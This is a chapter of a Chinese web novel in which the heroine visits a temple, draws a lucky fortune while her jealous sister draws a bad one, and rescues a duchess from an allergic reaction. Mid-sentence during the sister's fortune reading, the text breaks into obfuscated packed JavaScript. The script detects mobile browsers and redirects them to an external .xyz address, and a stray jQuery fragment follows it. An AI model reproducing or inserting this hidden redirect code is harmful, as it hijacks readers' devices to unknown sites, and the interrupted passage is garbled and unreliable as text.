12. 上香
作品:《白月光她和疯批太子跑了》 八月初十,秋高气爽,黄历宜出行、祈福、祭祀、沐浴、求子,是个诸事皆宜的好日子。
第一缕晨光透过雕花木窗洒进屋内,林若华望着窗外刚蒙蒙亮的天空,轻轻叹了口气。
这一个月来,风平浪静。
昔日门庭冷落的林家大小姐,如今竟接连收到十几封官宦女眷的请帖,不是赏花宴就是诗会。
林若华将那些精致的请帖搁在案头,对杜鹃和月季淡淡道:“都帮我推了吧,就说我即将大婚,需在家中静心备嫁。”
她虽无闺中密友,但难保不会冒出几个故人。
若在宴席上被人看出端倪,反倒麻烦,多一事不如少一事,索性闭门谢客。
自那日分别后,林若华再未见过萧长离。
但书信从未断过,他只说前朝余孽行刺一案牵连甚广,加之朝中事务堆积如山,一时抽不开身,暂时无法前来探望。
信末总是要添了一句“一切安好,勿念”以及“Haveagreatday”,让她的心稍稍安定,又不免露出笑意。
她将信仔细藏在衣柜里的最底层,偶尔取出反复观看,那熟稔的话语总能让她在这个陌生的世界里感到一丝温暖。
这些时日,林若华终日深居简出。
月季伺候茶水,杜鹃打理梳妆,苏南更是寸步不离地守护在侧,连街市都没去过。
这日子过得,倒比在剧组拍戏时还要规律。
除了吃饭睡觉,她就是埋头研读萧长离差人送来的各类书籍。
史书、地理志、律法条文、民间话本,甚至还有几本医书。
林若华将书中内容与现实世界逐一比对,发现大多能找到对应,却也有少许差异,不由感叹此方世界的神奇。
某一日,她翻开一本《有名地理志》,仔细一看,著者名叫张有名。
林若华:“……”
不过这书的确生动有趣,林若华不自觉地沉迷其中。
看到某页时,林若华眉头微蹙:“药王谷?苏南,你可听说过药王谷?这书上说它在青山深处,谷中遍植奇花异草,医者皆能活死人肉白骨。”
那颗让萧长离起死回生的神药,不正是出自药王谷?
苏南立在窗边,闻言,略一沉吟:“江湖上确有这个传说。不过药王谷避世已久,已有数十年无人见其踪迹。”
林若华若有所思地点点头,又翻开一本医书:“那这血怨丹呢?说是能让人在睡梦中离世……”
话音未落,月季捧着个锦盒进来:“小姐,太子殿下又差人送东西来了。”
萧长离之前给她送了不少京城时兴的衣裳首饰,不知这次又是什么。
打开一看,盒中装有两千两银票。
林若华捻着银票,眉眼弯弯:“太好了,正愁没钱给苏南发工资呢。”
苏南淡淡瞥她一眼,依旧默不作声,只是嘴角微微扬起,几不可闻。
一个月前林兴业曾提议从林洛瑶处拨些人手过来伺候,后来被林若华婉拒。
开玩笑,就是林洛瑶肯给,她也不敢用啊。
聪明的坏人行事尚且讲究章法,愚蠢的坏人作恶那是从不讲道理。
难保林洛瑶不会突发奇想,下毒这等事,未必做不出来。
蹊跷的是,向来好动的林洛瑶这些时日竟也安分待在院中,连吃饭都命人送至房内,实在反常。
林若华暗自警惕,不知这位妹妹又在暗中想使什么坏。
这日早膳后,林兴业照例前往工部。
而叶氏和颜悦色地拉起林若华的手,柔声道:“若华,今日天气晴好,母亲带你和洛瑶去感恩寺上香,既为家人祈福,也盼你与太子姻缘美满,早生贵子。”
林若华正喝着茶,被这句“早生贵子”呛得连连咳嗽,忙用帕子掩住口鼻,脸颊瞬间涨得通红。
叶氏以帕掩唇,轻笑道:“瞧把我们若华羞的。这有什么,女子出嫁后,开枝散叶本就是头等大事。”说着又压低声音,“太子殿下正值盛年,你早些诞下皇孙,地位才能稳固。”
林若华忍不住想要扶额,不过这些时日实在是闷得发慌,也乐得借此出门透透气。
临出发时,林洛瑶才扭捏现身。
她今日穿了一身绣着黄色牡丹的红裙,头插十二支点翠蝴蝶金钗,鬓边还簪着一朵硕大无比的牡丹绢花,整个人打扮得如同一棵行走的圣诞树。
林若华:“?”
这打扮好眼熟啊,这不是她入宫面圣那日的装束吗?
简直是一模一样,一样的晃瞎双眼。
也不知林洛瑶从哪里找来的这一身行头,上回从她那里借来的衣裳首饰可都还没还呢。
林若华再低头看自己这身月白云纹罗裙,是萧长离特意命宫中绣娘裁制,清雅别致。
发间只戴着皇后所赐的牡丹宝石金钗,让杜鹃梳个简单随云髻,零星点缀了些珍珠小发簪。
林洛瑶面上虽不见下聘那日的癫狂,只是眼中仍藏着几分尖酸。
她高昂着下巴,不甘示弱地瞪着林若华,嘴角挑着一丝讥讽的冷笑:“姐姐今日这身未免太过素净,不知道的还以为咱们林家亏待了未来的太子妃呢。”
林若华嫣然一笑:“妹妹这身倒是隆重,不知情的还以为妹妹今日是要定亲呢。”
叶氏见状,急忙上前打圆场,一手挽着林若华,一手拉着林洛瑶,温言道:“好了好了,姐妹间要互相照应,一家子方能和睦。若华即将出嫁,洛瑶你这个做妹妹的,更要懂事些。”
林若华嘴角微抽,林洛瑶冷哼扭头,谁也没有接话。
叶氏恍若未觉,笑吟吟地携二人登车。
最终叶氏与林洛瑶同乘一辆,林若华与苏南同乘一辆,带着丫鬟婆子仆从护卫,一路摇摇晃晃地驶向城西。
感恩寺坐落城西小山坡上,历经三朝,香火鼎盛数百年,据说极为灵验,是达官贵人女眷常去添香火的地方。
马车在山脚停下,一行人沿青石阶蜿蜒而上,但见香客络绎不绝,既有锦衣华服的贵人,也有寻常布衣的百姓。
空气中弥漫着檀香的气息,混杂山间草木的清新,偶有钟声从山顶传来,悠远空灵,令人心安。
在观音殿跪拜时,林若华仰望着宝相庄严的观音像,心中泛起一阵惆怅。
她双手合十,默默祈愿:如果这世上真有神佛,为什么我从前那样祈求,却从来没有得到过回应?如果您真能听见信徒的心声,请保佑我与长离在这个陌生的世界平安顺遂吧。
叶氏又领着二人去庙祝处解签,留着山羊胡的中年庙祝慢悠悠问道:“两位小姐所求何事?”
叶氏忙笑道:“为我这两个女儿求问姻缘。”
庙祝先拿起林若华的签文,摸着胡子摇头晃脑道:“‘第二十签,上上,辰宫。解曰:佛力扶持,有灾无危,福自天生,百事遂意。此签阴阳会合之象,凡事和合大吉也。’”
他抬眼细细端详林若华面容,又道,“小姐这签极好,红鸾星动,良缘天定,将来必定夫妻和顺,子孙满堂。”
林洛瑶听罢,急忙递上自己的签文。
庙祝接过一看,眉头顿时皱起:“‘第七十签,下下,辰宫。解曰:春花阴雨,久而不晴,求谋无用,不如安静。此签蜜蜂采
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427409|184823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
花之象,凡事劳心费力也。’,终究是镜花水月,一场空忙。”
“胡说八道!”林洛瑶听得咬碎银牙,猛地夺回签文撕得粉碎,“定是你这老头子与她们串通好了来诓我!”
她跺脚狠狠瞪了林若华一眼,“都是你,自从你得了势,便处处压我一头,连求签都要与我作对!”说罢扭身便跑。
“洛瑶!”叶氏拉之不及,只得对林若华歉然道,“妹妹年少不懂事,我去瞧瞧。若华,你莫要乱走,就在寺里等候。”说罢不等林若华回应,便带着一群丫鬟婆子匆匆追去,只留林若华与苏南站在原地。
这也怪她?
林若华望着她们远去的背影,无奈地摇了摇头。
她轻轻拉了拉苏南的衣袖:“苏南,你要不要也求一签看看?”
苏南面无表情地说:“我不信神佛。”
“为何?”林若华好奇地问。
“若神佛真有灵,这世间便不会有那么多不平事。”苏南的声音很冷,带着看透世事的沧桑。
林若华若有所思地点点头,浅笑道:“那我们在寺里随便走走吧。”
苏南点头应下。
二人信步而行,不知不觉间走到了后山的厢房处,这里比前殿清静许多,偶有僧侣经过,皆是低头默诵,不见香客踪影,只偶尔听到几声鸟鸣。
正要转身返回,忽然隐约听到呻吟,那声音嘶哑,断断续续。
林若华与苏南对视一眼,循声小心上前查看。
厢房外的院落里栽着七八株木芙蓉,粉的,白的,开得正艳。
就在一株繁茂的花树下,一位四十多岁、身着宝蓝缎裙的贵妇倒地不起。
她面色潮红,呼吸急促,不停地打着喷嚏,眼泪直流,喉咙里发出“赫赫”的声音,显然已是呼吸困难。她的双手无力地抓挠着脖颈,眼看就要昏厥过去。
林若华快步上前查看,见她脖颈、手背已起满红疹,立即对苏南急道:“是过敏性休克!把她背到厢房里去!”
苏南立即蹲下,林若华将妇人扶到她背上。
她们就近寻了间厢房,苏南一脚踢开房门,见屋内无人,便将妇人平放在床榻上。
“苏南,你把她的双脚抬高,促进血液回流。”
林若华一边吩咐,一边快步走到桌边,从茶壶中倒出水浸湿帕子,轻轻为妇人擦拭脸颊和脖颈,又将她衣领松解,确保呼吸通畅。
渐渐地,妇人急促的呼吸平缓下来,肿胀的眼皮微微颤动,睁开了眼睛。
她张了张嘴,似乎想说什么。
“暂且莫要开口,好好休息。”林若华一边柔声安抚,一边仔细为妇人整理鬓发。
待气息稍定,妇人方才感激地握住林若华的手,声音仍有些虚弱:“多谢姑娘救命之恩,妾身乃镇国公夫人王窈莲。今日若非姑娘相救,怕是凶多吉少。”
她细细端详林若华清丽的面容,眼中满是感激,“不知姑娘是哪家的小姐?生得这般水灵,心地又善良,方才意识模糊时,见姑娘眉目如画,衣袂飘飘,我还以为是观音娘娘显灵来救我了。”
林若华正要答话,却听身后传来急促的脚步声。
回头一看,只见另一位穿着墨绿色衣裙的妇人立在门外,双目圆睁,面无人色,正死死盯着她,伸出的手指颤抖得厉害。
“不可能……这不可能!”绿衣妇人的声音因惊恐而尖利,“你怎么还活着?你不是应该……应该已经……”
她踉跄着后退两步,脸色惨白如纸,活像是见了从地狱爬出来的恶鬼。
院子一时间静得可怕,只余风吹过木芙蓉的沙沙声。